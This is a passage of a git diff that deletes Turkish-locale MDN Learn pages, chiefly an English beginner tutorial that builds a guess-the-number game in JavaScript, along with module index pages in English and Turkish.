= 'Congratulations! You got it right!'; - lastResult.style.backgroundColor = 'green'; - lowOrHi.textContent = ''; - setGameOver(); - } else if (guessCount === 10) { - lastResult.textContent = '!!!GAME OVER!!!'; - lowOrHi.textContent = ''; - setGameOver(); - } else { - lastResult.textContent = 'Wrong!'; - lastResult.style.backgroundColor = 'red'; - if(userGuess < randomNumber) { - lowOrHi.textContent = 'Last guess was too low!' ; - } else if(userGuess > randomNumber) { - lowOrHi.textContent = 'Last guess was too high!'; - } - } - - guessCount++; - guessField.value = ''; - } - - guessSubmit.addEventListener('click', checkGuess); - - function setGameOver() { - guessField.disabled = true; - guessSubmit.disabled = true; - resetButton = document.createElement('button'); - resetButton.textContent = 'Start new game'; - document.body.append(resetButton); - resetButton.addEventListener('click', resetGame); - } - - function resetGame() { - guessCount = 1; - const resetParas = document.querySelectorAll('.resultParas p'); - for(let i = 0 ; i < resetParas.length ; i++) { - resetParas[i].textContent = ''; - } - - resetButton.parentNode.removeChild(resetButton); - guessField.disabled = false; - guessSubmit.disabled = false; - guessField.value = ''; - guessField.focus(); - lastResult.style.backgroundColor = 'white'; - randomNumber = Math.floor(Math.random() * 100) + 1; - } -</script> - -</body> -</html></pre> -</div> - -<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320, "", "", "hide-codepen-jsfiddle") }}</p> - -<p>Have a go at playing it — familiarize yourself with the game before you move on.</p> - -<p>Let's imagine your boss has given you the following brief for creating this game:</p> - -<blockquote> -<p>I want you to create a simple guess the number type game. It should choose a random number between 1 and 100, then challenge the player to guess the number in 10 turns. After each turn the player should be told if they are right or wrong, and if they are wrong, whether the guess was too low or too high. It should also tell the player what numbers they previously guessed. The game will end once the player guesses correctly, or once they run out of turns. When the game ends, the player should be given an option to start playing again.</p> -</blockquote> - -<p>Upon looking at this brief, the first thing we can do is to start breaking it down into simple actionable tasks, in as much of a programmer mindset as possible:</p> - -<ol> - <li>Generate a random number between 1 and 100.</li> - <li>Record the turn number the player is on. Start it on 1.</li> - <li>Provide the player with a way to guess what the number is.</li> - <li>Once a guess has been submitted first record it somewhere so the user can see their previous guesses.</li> - <li>Next, check whether it is the correct number.</li> - <li>If it is correct: - <ol> - <li>Display congratulations message.</li> - <li>Stop the player from being able to enter more guesses (this would mess the game up).</li> - <li>Display control allowing the player to restart the game.</li> - </ol> - </li> - <li>If it is wrong and the player has turns left: - <ol> - <li>Tell the player they are wrong.</li> - <li>Allow them to enter another guess.</li> - <li>Increment the turn number by 1.</li> - </ol> - </li> - <li>If it is wrong and the player has no turns left: - <ol> - <li>Tell the player it is game over.</li> - <li>Stop the player from being able to enter more guesses (this would mess the game up).</li> - <li>Display control allowing the player to restart the game.</li> - </ol> - </li> - <li>Once the game restarts, make sure the game logic and UI are completely reset, then go back to step 1.</li> -</ol> - -<p>Let's now move forward, looking at how we can turn these steps into code, building up the example, and exploring JavaScript features as we go.</p> - -<h3 id="Initial_setup">Initial setup</h3> - -<p>To begin this tutorial, we'd like you to make a local copy of the <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guessing-game-start.html</a> file (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">see it live here</a>). Open it in both your text editor and your web browser. At the moment you'll see a simple heading, paragraph of instructions and form for entering a guess, but the form won't currently do anything.</p> - -<p>The place where we'll be adding all our code is inside the {{htmlelement("script")}} element at the bottom of the HTML:</p> - -<pre class="brush: html notranslate"><script> - - // Your JavaScript goes here - -</script> -</pre> - -<h3 id="Adding_variables_to_store_our_data">Adding variables to store our data</h3> - -<p>Let's get started. First of all, add the following lines inside your {{htmlelement("script")}} element:</p> - -<pre class="brush: js notranslate">let randomNumber = Math.floor(Math.random() * 100) + 1; - -const guesses = document.querySelector('.guesses'); -const lastResult = document.querySelector('.lastResult'); -const lowOrHi = document.querySelector('.lowOrHi'); - -const guessSubmit = document.querySelector('.guessSubmit'); -const guessField = document.querySelector('.guessField'); - -let guessCount = 1; -let resetButton;</pre> - -<p>This section of the code sets up the variables and constants we need to store the data our program will use. Variables are basically containers for values (such as numbers, or strings of text). You create a variable with the keyword <code>let</code> (or <code>var</code>) followed by a name for your variable (you'll read more about the difference between the keywords in a <a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#The_difference_between_var_and_let">future article</a>). Constants are used to store values that are immutable or can't be changed and are created with the keyword <code>const</code>. In this case, we are using constants to store references to parts of our user interface; the text inside some of them might change, but the HTML elements referenced stay the same.</p> - -<p>You can assign a value to your variable or constant with an equals sign (<code>=</code>) followed by the value you want to give it.</p> - -<p>In our example:</p> - -<ul> - <li>The first variable — <code>randomNumber</code> — is assigned a random number between 1 and 100, calculated using a mathematical algorithm.</li> - <li>The first three constants are each made to store a reference to the results paragraphs in our HTML, and are used to insert values into the paragraphs later on in the code (note how they are inside a <code><div></code> element, which is itself used to select all three later on for resetting, when we restart the game): - <pre class="brush: html notranslate"><div class="resultParas"> - <p class="guesses"></p> - <p class="lastResult"></p> - <p class="lowOrHi"></p> -</div> -</pre> - </li> - <li>The next two constants store references to the form text input and submit button and are used to control submitting the guess later on. - <pre class="brush: html notranslate"><label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> -<input type="submit" value="Submit guess" class="guessSubmit"></pre> - </li> - <li>Our final two variables store a guess count of 1 (used to keep track of how many guesses the player has had), and a reference to a reset button that doesn't exist yet (but will later).</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: You'll learn a lot more about variables/constants later on in the course, starting with the <a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/variables">next article</a>.</p> -</div> - -<h3 id="Functions">Functions</h3> - -<p>Next, add the following below your previous JavaScript:</p> - -<pre class="brush: js notranslate">function checkGuess() { - alert('I am a placeholder'); -}</pre> - -<p>Functions are reusable blocks of code that you can write once and run again and again, saving the need to keep repeating code all the time. This is really useful. There are a number of ways to define functions, but for now we'll concentrate on one simple type. Here we have defined a function by using the keyword <code>function</code>, followed by a name, with parentheses put after it. After that we put two curly braces (<code>{ }</code>). Inside the curly braces goes all the code that we want to run whenever we call the function.</p> - -<p>When we want to run the code, we type the name of the function followed by the parentheses.</p> - -<p>Let's try that now. Save your code and refresh the page in your browser. Then go into the <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>, and enter the following line:</p> - -<pre class="brush: js notranslate">checkGuess();</pre> - -<p>After pressing <kbd>Return</kbd>/<kbd>Enter</kbd>, you should see an alert come up that says "<samp>I am a placeholder</samp>"; we have defined a function in our code that creates an alert whenever we call it.</p> - -<div class="note"> -<p><strong>Note</strong>: You'll learn a lot more about functions <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">later in the course</a>.</p> -</div> - -<h3 id="Operators">Operators</h3> - -<p>JavaScript operators allow us to perform tests, do math, join strings together, and other such things.</p> - -<p>If you haven't already done so, save your code, refresh the page in your browser, and open the <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>. Then we can try typing in the examples shown below — type in each one from the "Example" columns exactly as shown, pressing <kbd>Return</kbd>/<kbd>Enter</kbd> after each one, and see what results they return.</p> - -<p>First let's look at arithmetic operators, for example:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Operator</th> - <th scope="col">Name</th> - <th scope="col">Example</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>+</code></td> - <td>Addition</td> - <td><code>6 + 9</code></td> - </tr> - <tr> - <td><code>-</code></td> - <td>Subtraction</td> - <td><code>20 - 15</code></td> - </tr> - <tr> - <td><code>*</code></td> - <td>Multiplication</td> - <td><code>3 * 7</code></td> - </tr> - <tr> - <td><code>/</code></td> - <td>Division</td> - <td><code>10 / 5</code></td> - </tr> - </tbody> -</table> - -<p>You can also use the <code>+</code> operator to join text strings together (in programming, this is called <em>concatenation</em>). Try entering the following lines, one at a time:</p> - -<pre class="brush: js notranslate">let name = 'Bingo'; -name; -let hello = ' says hello!'; -hello; -let greeting = name + hello; -greeting;</pre> - -<p>There are also some shortcut operators available, called augmented <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">assignment operators</a>. For example, if you want to simply add a new text string to an existing one and return the result, you could do this:</p> - -<pre class="brush: js notranslate">name += ' says hello!';</pre> - -<p>This is equivalent to</p> - -<pre class="brush: js notranslate">name = name + ' says hello!';</pre> - -<p>When we are running true/false tests (for example inside conditionals — see {{anch("Conditionals", "below")}}) we use <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">comparison operators</a>. For example:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Operator</th> - <th scope="col">Name</th> - <th scope="col">Example</th> - </tr> - <tr> - <td><code>===</code></td> - <td>Strict equality (is it exactly the same?)</td> - <td> - <pre class="brush: js notranslate"> -5 === 2 + 4 // false -'Chris' === 'Bob' // false -5 === 2 + 3 // true -2 === '2' // false; number versus string -</pre> - </td> - </tr> - <tr> - <td><code>!==</code></td> - <td>Non-equality (is it not the same?)</td> - <td> - <pre class="brush: js notranslate"> -5 !== 2 + 4 // true -'Chris' !== 'Bob' // true -5 !== 2 + 3 // false -2 !== '2' // true; number versus string -</pre> - </td> - </tr> - <tr> - <td><code><</code></td> - <td>Less than</td> - <td> - <pre class="brush: js notranslate"> -6 < 10 // true -20 < 10 // false</pre> - </td> - </tr> - <tr> - <td><code>></code></td> - <td>Greater than</td> - <td> - <pre class="brush: js notranslate"> -6 > 10 // false -20 > 10 // true</pre> - </td> - </tr> - </thead> -</table> - -<h3 id="Conditionals">Conditionals</h3> - -<p>Returning to our <code>checkGuess()</code> function, I think it's safe to say that we don't want it to just spit out a placeholder message. We want it to check whether a player's guess is correct or not, and respond appropriately.</p> - -<p>At this point, replace your current <code>checkGuess()</code> function with this version instead:</p> - -<pre class="brush: js notranslate">function checkGuess() { - let userGuess = Number(guessField.value); - if (guessCount === 1) { - guesses.textContent = 'Previous guesses: '; - } - guesses.textContent += userGuess + ' '; - - if (userGuess === randomNumber) { - lastResult.textContent = 'Congratulations! You got it right!'; - lastResult.style.backgroundColor = 'green'; - lowOrHi.textContent = ''; - setGameOver(); - } else if (guessCount === 10) { - lastResult.textContent = '!!!GAME OVER!!!'; - setGameOver(); - } else { - lastResult.textContent = 'Wrong!'; - lastResult.style.backgroundColor = 'red'; - if(userGuess < randomNumber) { - lowOrHi.textContent = 'Last guess was too low!'; - } else if(userGuess > randomNumber) { - lowOrHi.textContent = 'Last guess was too high!'; - } - } - - guessCount++; - guessField.value = ''; - guessField.focus(); -}</pre> - -<p>This is a lot of code — phew! Let's go through each section and explain what it does.</p> - -<ul> - <li>The first line (line 2 above) declares a variable called <code>userGuess</code> and sets its value to the current value entered inside the text field. We also run this value through the built-in <code>Number()</code> constructor, just to make sure the value is definitely a number.</li> - <li>Next, we encounter our first conditional code block (lines 3–5 above). A conditional code block allows you to run code selectively, depending on whether a certain condition is true or not. It looks a bit like a function, but it isn't. The simplest form of conditional block starts with the keyword <code>if</code>, then some parentheses, then some curly braces. Inside the parentheses we include a test. If the test returns <code>true</code>, we run the code inside the curly braces. If not, we don't, and move on to the next bit of code. In this case the test is testing whether the <code>guessCount</code> variable is equal to <code>1</code> (i.e. whether this is the player's first go or not): - <pre class="brush: js notranslate">guessCount === 1</pre> - If it is, we make the guesses paragraph's text content equal to "<samp>Previous guesses: </samp>". If not, we don't.</li> - <li>Line 6 appends the current <code>userGuess</code> value onto the end of the <code>guesses</code> paragraph, plus a blank space so there will be a space between each guess shown.</li> - <li>The next block (lines 8–24 above) does a few checks: - <ul> - <li>The first <code>if(){ }</code> checks whether the user's guess is equal to the <code>randomNumber</code> set at the top of our JavaScript. If it is, the player has guessed correctly and the game is won, so we show the player a congratulations message with a nice green color, clear the contents of the Low/High guess information box, and run a function called <code>setGameOver()</code>, which we'll discuss later.</li> - <li>Now we've chained another test onto the end of the last one using an <code>else if(){ }</code> structure. This one checks whether this turn is the user's last turn. If it is, the program does the same thing as in the previous block, except with a game over message instead of a congratulations message.</li> - <li>The final block chained onto the end of this code (the <code>else { }</code>) contains code that is only run if neither of the other two tests returns true (i.e. the player didn't guess right, but they have more guesses left). In this case we tell them they are wrong, then we perform another conditional test to check whether the guess was higher or lower than the answer, displaying a further message as appropriate to tell them higher or lower.</li> - </ul> - </li> - <li>The last three lines in the function (lines 26–28 above) get us ready for the next guess to be submitted. We add 1 to the <code>guessCount</code> variable so the player uses up their turn (<code>++</code> is an incrementation operation — increment by 1), and empty the value out of the form text field and focus it again, ready for the next guess to be entered.</li> -</ul> - -<h3 id="Events">Events</h3> - -<p>At this point we have a nicely implemented <code>checkGuess()</code> function, but it won't do anything because we haven't called it yet. Ideally we want to call it when the "Submit guess" button is pressed, and to do this we need to use an <strong>event</strong>. Events are things that happen in the browser — a button being clicked, a page loading, a video playing, etc. — in response to which we can run blocks of code. The constructs that listen out for the event happening are called <strong>event listeners</strong>, and the blocks of code that run in response to the event firing are called <strong>event handlers</strong>.</p> - -<p>Add the following line below your <code>checkGuess()</code> function:</p> - -<pre class="brush: js notranslate">guessSubmit.addEventListener('click', checkGuess);</pre> - -<p>Here we are adding an event listener to the <code>guessSubmit</code> button. This is a method that takes two input values (called <em>arguments</em>) — the type of event we are listening out for (in this case <code>click</code>) as a string, and the code we want to run when the event occurs (in this case the <code>checkGuess()</code> function). Note that we don't need to specify the parentheses when writing it inside {{domxref("EventTarget.addEventListener", "addEventListener()")}}.</p> - -<p>Try saving and refreshing your code now, and your example should work — to a point. The only problem now is that if you guess the correct answer or run out of guesses, the game will break because we've not yet defined the <code>setGameOver()</code> function that is supposed to be run once the game is over. Let's add our missing code now and complete the example functionality.</p> - -<h3 id="Finishing_the_game_functionality">Finishing the game functionality</h3> - -<p>Let's add that <code>setGameOver()</code> function to the bottom of our code and then walk through it. Add this now, below the rest of your JavaScript:</p> - -<pre class="brush: js notranslate">function setGameOver() { - guessField.disabled = true; - guessSubmit.disabled = true; - resetButton = document.createElement('button'); - resetButton.textContent = 'Start new game'; - document.body.append(resetButton); - resetButton.addEventListener('click', resetGame); -}</pre> - -<ul> - <li>The first two lines disable the form text input and button by setting their disabled properties to <code>true</code>. This is necessary, because if we didn't, the user could submit more guesses after the game is over, which would mess things up.</li> - <li>The next three lines generate a new {{htmlelement("button")}} element, set its text label to "Start new game", and add it to the bottom of our existing HTML.</li> - <li>The final line sets an event listener on our new button so that when it is clicked, a function called <code>resetGame()</code> is run.</li> -</ul> - -<p>Now we need to define this function too! Add the following code, again to the bottom of your JavaScript:</p> - -<pre class="brush: js notranslate">function resetGame() { - guessCount = 1; - - const resetParas = document.querySelectorAll('.resultParas p'); - for (let i = 0 ; i < resetParas.length ; i++) { - resetParas[i].textContent = ''; - } - - resetButton.parentNode.removeChild(resetButton); - - guessField.disabled = false; - guessSubmit.disabled = false; - guessField.value = ''; - guessField.focus(); - - lastResult.style.backgroundColor = 'white'; - - randomNumber = Math.floor(Math.random() * 100) + 1; -}</pre> - -<p>This rather long block of code completely resets everything to how it was at the start of the game, so the player can have another go. It:</p> - -<ul> - <li>Puts the <code>guessCount</code> back down to 1.</li> - <li>Empties all the text out of the information paragraphs. We select all paragraphs inside <code><div class="resultParas"></div></code>, then loop through each one, setting their <code>textContent</code> to <code>''</code> (an empty string).</li> - <li>Removes the reset button from our code.</li> - <li>Enables the form elements, and empties and focuses the text field, ready for a new guess to be entered.</li> - <li>Removes the background color from the <code>lastResult</code> paragraph.</li> - <li>Generates a new random number so that you are not just guessing the same number again!</li> -</ul> - -<p><strong>At this point you should have a fully working (simple) game — congratulations!</strong></p> - -<p>All we have left to do now in this article is talk about a few other important code features that you've already seen, although you may have not realized it.</p> - -<h3 id="Loops">Loops</h3> - -<p>One part of the above code that we need to take a more detailed look at is the <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a> loop. Loops are a very important concept in programming, which allow you to keep running a piece of code over and over again, until a certain condition is met.</p> - -<p>To start with, go to your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools JavaScript console</a> again, and enter the following:</p> - -<pre class="brush: js notranslate">for (let i = 1 ; i < 21 ; i++) { console.log(i) }</pre> - -<p>What happened? The numbers <samp>1</samp> to <samp>20</samp> were printed out in your console. This is because of the loop. A <code>for</code> loop takes three input values (arguments):</p> - -<ol> - <li><strong>A starting value</strong>: In this case we are starting a count at 1, but this could be any number you like. You could replace the letter <code>i</code> with any name you like too, but <code>i</code> is used as a convention because it's short and easy to remember.</li> - <li><strong>A condition</strong>: Here we have specified <code>i < 21</code> — the loop will keep going until <code>i</code> is no longer less than 21. When <code>i</code> reaches 21, the loop will no longer run.</li> - <li><strong>An incrementor</strong>: We have specified <code>i++</code>, which means "add 1 to i". The loop will run once for every value of <code>i</code>, until <code>i</code> reaches a value of 21 (as discussed above). In this case, we are simply printing the value of <code>i</code> out to the console on every iteration using {{domxref("Console.log", "console.log()")}}.</li> -</ol> - -<p>Now let's look at the loop in our number guessing game — the following can be found inside the <code>resetGame()</code> function:</p> - -<pre class="brush: js notranslate">const resetParas = document.querySelectorAll('.resultParas p'); -for (let i = 0 ; i < resetParas.length ; i++) { - resetParas[i].textContent = ''; -}</pre> - -<p>This code creates a variable containing a list of all the paragraphs inside <code><div class="resultParas"></code> using the {{domxref("Document.querySelectorAll", "querySelectorAll()")}} method, then it loops through each one, removing the text content of each.</p> - -<h3 id="A_small_discussion_on_objects">A small discussion on objects</h3> - -<p>Let's add one more final improvement before we get to this discussion. Add the following line just below the <code>let resetButton;</code> line near the top of your JavaScript, then save your file:</p> - -<pre class="brush: js notranslate">guessField.focus();</pre> - -<p>This line uses the {{domxref("HTMLElement.focus", "focus()")}} method to automatically put the text cursor into the {{htmlelement("input")}} text field as soon as the page loads, meaning that the user can start typing their first guess right away, without having to click the form field first. It's only a small addition, but it improves usability — giving the user a good visual clue as to what they've got to do to play the game.</p> - -<p>Let's analyze what's going on here in a bit more detail. In JavaScript, most of the items you will manipulate in your code are objects. An object is a collection of related functionality stored in a single grouping. You can create your own objects, but that is quite advanced and we won't be covering it until much later in the course. For now, we'll just briefly discuss the built-in objects that your browser contains, which allow you to do lots of useful things.</p> - -<p>In this particular case, we first created a <code>guessField</code> constant that stores a reference to the text input form field in our HTML — the following line can be found amongst our declarations near the top of the code:</p> - -<pre class="brush: js notranslate">const guessField = document.querySelector('.guessField');</pre> - -<p>To get this reference, we used the {{domxref("document.querySelector", "querySelector()")}} method of the {{domxref("document")}} object. <code>querySelector()</code> takes one piece of information — a <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS selector</a> that selects the element you want a reference to.</p> - -<p>Because <code>guessField</code> now contains a reference to an {{htmlelement("input")}} element, it now has access to a number of properties (basically variables stored inside objects, some of which can't have their values changed) and methods (basically functions stored inside objects). One method available to input elements is <code>focus()</code>, so we can now use this line to focus the text input:</p> - -<pre class="brush: js notranslate">guessField.focus();</pre> - -<p>Variables that don't contain references to form elements won't have <code>focus()</code> available to them. For example, the <code>guesses</code> constant contains a reference to a {{htmlelement("p")}} element, and the <code>guessCount</code> variable contains a number.</p> - -<h3 id="Playing_with_browser_objects">Playing with browser objects</h3> - -<p>Let's play with some browser objects a bit.</p> - -<ol> - <li>First of all, open up your program in a browser.</li> - <li>Next, open your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a>, and make sure the JavaScript console tab is open.</li> - <li>Type <code>guessField</code> into the console and the console shows you that the variable contains an {{htmlelement("input")}} element. You'll also notice that the console autocompletes the names of objects that exist inside the execution environment, including your variables!</li> - <li>Now type in the following: - <pre class="brush: js notranslate">guessField.value = 'Hello';</pre> - The <code>value</code> property represents the current value entered into the text field. You'll see that by entering this command, we've changed the text in the text field!</li> - <li>Now try typing <code>guesses</code> into the console and pressing return. The console shows you that the variable contains a {{htmlelement("p")}} element.</li> - <li>Now try entering the following line: - <pre class="brush: js notranslate">guesses.value</pre> - The browser returns <code>undefined</code>, because paragraphs don't have the <code>value</code> property.</li> - <li>To change the text inside a paragraph, you need the {{domxref("Node.textContent", "textContent")}} property instead. Try this: - <pre class="brush: js notranslate">guesses.textContent = 'Where is my paragraph?';</pre> - </li> - <li>Now for some fun stuff. Try entering the below lines, one by one: - <pre class="brush: js notranslate">guesses.style.backgroundColor = 'yellow'; -guesses.style.fontSize = '200%'; -guesses.style.padding = '10px'; -guesses.style.boxShadow = '3px 3px 6px black';</pre> - Every element on a page has a <code>style</code> property, which itself contains an object whose properties contain all the inline CSS styles applied to that element. This allows us to dynamically set new CSS styles on elements using JavaScript.</li> -</ol> - -<h2 id="Finished_for_now...">Finished for now...</h2> - -<p>So that's it for building the example. You got to the end — well done! Try your final code out, or <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">play with our finished version here</a>. If you can't get the example to work, check it against the <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">source code</a>.</p> - -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li> -</ul> diff --git a/files/tr/learn/javascript/first_steps/index.html b/files/tr/learn/javascript/first_steps/index.html deleted file mode 100644 index 3c6821d3e6..0000000000 --- a/files/tr/learn/javascript/first_steps/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: JavaScript First Steps -slug: Learn/JavaScript/First_steps -tags: - - türkçe -translation_of: Learn/JavaScript/First_steps -original_slug: Öğren/JavaScript/First_steps ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays.</p> - -<h2 id="Prerequisites">Prerequisites</h2> - -<p>Before starting this module, you don't need any previous JavaScript knowledge, but you should have some familiarity with HTML and CSS. You are advised to work through the following modules before starting on JavaScript:</p> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the Web</a> (which includes a really <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">basic JavaScript introduction</a>).</li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>.</li> - <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://glitch.com/">Glitch</a>.</p> -</div> - -<h2 id="Guides">Guides</h2> - -<dl> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></dt> - <dd>Welcome to the MDN beginner's JavaScript course! In this first article we will look at JavaScript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with JavaScript's purpose.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></dt> - <dd>Now you've learned something about the theory of JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></dt> - <dd>When you built up the "Guess the number" game in the previous article, you may have found that it didn't work. Never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in JavaScript programs.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></dt> - <dd>After reading the last couple of articles you should now know what JavaScript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. In this article we will get down to the real basics, looking at how to work with the most basic building blocks of JavaScript — Variables.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></dt> - <dd>At this point in the course we discuss maths in JavaScript — how we can combine operators and other features to successfully manipulate numbers to do our bidding.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></dt> - <dd>Next we'll turn our attention to strings — this is what pieces of text are called in programming. In this article we'll look at all the common things that you really ought to know about strings when learning JavaScript, such as creating strings, escaping quotes in string, and joining them together.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></dt> - <dd>Now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></dt> - <dd>In the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.</dd> -</dl> - -<h2 id="Assessments">Assessments</h2> - -<p>The following assessment will test your understanding of the JavaScript basics covered in the guides above.</p> - -<dl> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Silly story generator</a></dt> - <dd>In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun!</dd> -</dl> - -<h2 id="See_also">See also</h2> - -<dl> - <dt><a href="https://learnjavascript.online/">Learn JavaScript</a></dt> - <dd>An excellent resource for aspiring web developers — Learn JavaScript in an interactive environment, with short lessons and interactive tests, guided by automated assessment. The first 40 lessons are free, and the complete course is available for a small one-time payment.</dd> -</dl> diff --git a/files/tr/learn/javascript/index.html b/files/tr/learn/javascript/index.html deleted file mode 100644 index 902b39d8c4..0000000000 --- a/files/tr/learn/javascript/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: JavaScript -slug: Learn/JavaScript -translation_of: Learn/JavaScript -original_slug: Öğren/JavaScript ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">{{Glossary("JavaScript")}} web sayfalarında karmaşık şeyler yapmanıza olanak sağlayan bir programlama dilidir. Ne zaman bir web sayfası ekranınızda sabit durup ve size sabit bilgiler sunmanın fazlasını yaptığında, zaman zaman size içerik güncellemeleri, ya da etkileşilimli haritalar, ya da animasyonlu iki ve üç boyutlu grafikler, ya da kayan video müzik kutuları vs. gösterdiğinde, JavaScript'in muhtemelen bu işe dahil olduğundan emin olabilirsiniz.</p> - -<h2 id="Öğrenme_yolu">Öğrenme yolu</h2> - -<p>JavaScript'i öğrenmek ilgili teknolojiler olan <a href="/tr/docs/Learn/HTML">HTML</a> ve <a href="/tr/docs/Learn/CSS">CSS</a>'e kıyasla daha zor olabilir. JavaScript'i öğrenmeye başlamadan önce, bu iki teknolojiye ve belki diğer benzer teknolojilere aşina olmanız şiddetle önerilir. Aşağıdaki modüllerle işe başlayabilirsiniz:</p> - -<ul> - <li><a href="/en-US/docs/Learn/Getting_started_with_the_web">Web'e Başlangıç</a></li> - <li><a href="/en-US/docs/Web/Guide/HTML/Introduction">HTML'e Giriş</a></li> - <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS'e Giriş</a></li> -</ul> - -<p>Ayrıca diğer programlama dilleriyle önceden edindiğiniz tecrübelerin size yardımı dokunacaktır.</p> - -<p>JavaScript'in temellerine aşina olduktan sonra, daha ileri seviyedeki konuları öğrenmeye başlayabilirsiniz, örneğin:</p> - -<ul> - <li>Derinlemesine JavaScript, bizim <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript kılavuzu</a>muzde öğretildiği gibi.</li> - <li><a href="/en-US/docs/Web/API">HTML5 UPAs (Uygulama Programlama Ayayüzleri)</a></li> -</ul> - -<h2 id="Modüller">Modüller</h2> - -<p>Bu konu, önerilen çalışma sırasıyla, aşağıdaki modülleri içerir.</p> - -<dl> - <dt><a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript ilk adımlar</a></dt> - <dd>İlk JavaScript modülümüzde, sizi ilk JavaScript yazma tecrübesine götürmedeen önce, ilk olarak "JavaScript nedir?", "Neye benzer?", ve "Neler yapabilir?" gibi temel sorulara cevap veriyoruz. Daha sonra, değişkenler, harf dizileri, sayılar ve diziler gibi temel JavaScript özelliklerini detaylı bir şekilde tartışıyoruz.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript yapı taşları</a></dt> - <dd>Bu modülde, JavaScript'in tüm temel özelliklerini ele almaya devam ederek dikkatimizi koşullu ifadeler, döngüler, işlevler ve olaylar gibi sık karşılaşılan kod bloğu türlerine çeviriyoruz. 